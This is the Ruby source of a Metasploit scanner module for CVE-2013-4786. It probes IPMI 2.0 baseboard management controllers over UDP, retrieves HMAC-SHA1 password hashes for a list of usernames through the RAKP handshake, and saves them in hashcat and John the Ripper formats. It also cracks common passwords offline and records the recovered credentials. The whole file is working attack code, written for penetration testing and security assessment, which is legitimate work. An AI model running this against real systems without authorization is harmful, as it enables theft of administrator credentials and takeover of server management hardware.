## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval', 'Description' => %q| This module identifies IPMI 2.0-compatible systems and attempts to retrieve the HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300. |, 'Author' => [ 'Dan Farmer ', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'], ['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367 ['CVE', '2013-4786'], ['OSVDB', '95057'], ['BID', '61076'], ], 'DisclosureDate' => 'Jun 20 2013' ) register_options( [ Opt::RPORT(623), OptPath.new('USER_FILE', [ true, "File containing usernames, one per line", File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt') ]), OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line", File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt') ]), OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]), OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]), OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]), OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]), OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5]) ]) end def post_auth? true end def ipmi_status(msg) vprint_status("#{rhost}:#{rport} - IPMI - #{msg}") end def ipmi_error(msg) vprint_error("#{rhost}:#{rport} - IPMI - #{msg}") end def ipmi_good(msg) print_good("#{rhost}:#{rport} - IPMI - #{msg}") end def run_host(ip) ipmi_status("Sending IPMI probes") usernames = [] passwords = [] # Load up our username list (save on open fds) ::File.open(datastore['USER_FILE'], "rb") do |fd| fd.each_line do |line| usernames << line.strip end end usernames << "" usernames = usernames.uniq # Load up our password list (save on open fds) ::File.open(datastore['PASS_FILE'], "rb") do |fd| fd.each_line do |line| passwords << line.gsub(/\r?\n?/, '') end end passwords << "" passwords = passwords.uniq delay_value = datastore['SESSION_RETRY_DELAY'].to_i max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}}) add_socket(self.udp_sock) reported_vuln = false session_succeeded = false usernames.each do |username| console_session_id = Rex::Text.rand_text(4) console_random_id = Rex::Text.rand_text(16) ipmi_status("Trying username '#{username}'...") rakp = nil sess = nil sess_data = nil # It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc) 1.upto(max_session_attempts) do |attempt| r = nil 1.upto(3) do udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id)) r = udp_recv(5.0) break if r end unless r ipmi_status("No response to IPMI open session request") rakp = nil break end sess = process_opensession_reply(*r) unless sess ipmi_status("Could not understand the response to the open session request") rakp = nil break end if sess.data.length < 8 ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds") rakp = nil sleep(delay_value) if session_succeeded next # break end session_succeeded = true sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data) r = nil 1.upto(3) do udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username)) r = udp_recv(5.0) break if r end unless r ipmi_status("No response to RAKP1 message") next end rakp = process_rakp1_reply(*r) unless rakp ipmi_status("Could not understand the response to the RAKP1 request") rakp = nil break end # Sleep and retry on session ID errors if rakp.error_code == 2 ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}") Rex.sleep(1) next end if rakp.error_code != 0 ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}") rakp = nil break end # TODO: Finish documenting this error field if rakp.ignored1 != 0 ipmi_error("Returned error code #{rakp.ignored1} for username #{username}") rakp = nil break end # Check if there is hash data if rakp.data.length < 56 rakp = nil break end # Break out of the session retry code if we make it here break end # Skip to the next user if we didnt get a valid response next if !rakp # Calculate the salt used in the hmac-sha1 hash rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data) hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt( console_session_id, sess_data.bmc_session_id, console_random_id, rakp_data.bmc_random_id, rakp_data.bmc_guid, 0x14, username ) sha1_salt = hmac_buffer.unpack("H*")[0] sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0] if sha1_hash == "0000000000000000000000000000000000000000" ipmi_error("Returned a bogus SHA1 hash for username #{username}") next end ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}") write_output_files(rhost, username, sha1_salt, sha1_hash) # Write the rakp hash to the database hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" core_id = report_hash(username, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( :host => rhost, :port => rport, :proto => 'udp', :sname => 'ipmi', :name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure', :info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}", :refs => self.references ) reported_vuln = true end # Offline crack common passwords and report clear-text credentials next unless datastore['CRACK_COMMON'] passwords.uniq.each do |pass| pass = pass.strip next unless pass.length > 0 next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass) ipmi_good("Hash for user '#{username}' matches password '#{pass}'") # Report the clear-text credential to the database report_cracked_cred(username, pass, core_id) break end end end def process_opensession_reply(data, shost, sport) shost = shost.sub(/^::ffff:/, '') info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP info end def process_rakp1_reply(data, shost, sport) shost = shost.sub(/^::ffff:/, '') info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2 info end def write_output_files(rhost, username, sha1_salt, sha1_hash) if datastore['OUTPUT_HASHCAT_FILE'] ::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd| fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n") fd.flush end end if datastore['OUTPUT_JOHN_FILE'] ::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd| fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n") fd.flush end end end def service_data { address: rhost, port: rport, service_name: 'ipmi', protocol: 'udp', workspace_id: myworkspace_id } end def report_hash(user, hash) credential_data = { module_fullname: self.fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, jtr_format: 'rakp', username: user, }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) cl = create_credential_login(login_data) cl ? cl.core_id : nil end def report_cracked_cred(user, password, core_id) cred_data = { core_id: core_id, username: user, password: password } create_cracked_credential(cred_data) end # # Helper methods (these didn't quite fit with existing mixins) # attr_accessor :udp_sock def udp_send(data) begin udp_sock.sendto(data, rhost, datastore['RPORT'], 0) rescue ::Interrupt raise $! rescue ::Exception end end def udp_recv(timeo) r = udp_sock.recvfrom(65535, timeo) r[1] ? r : nil end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end end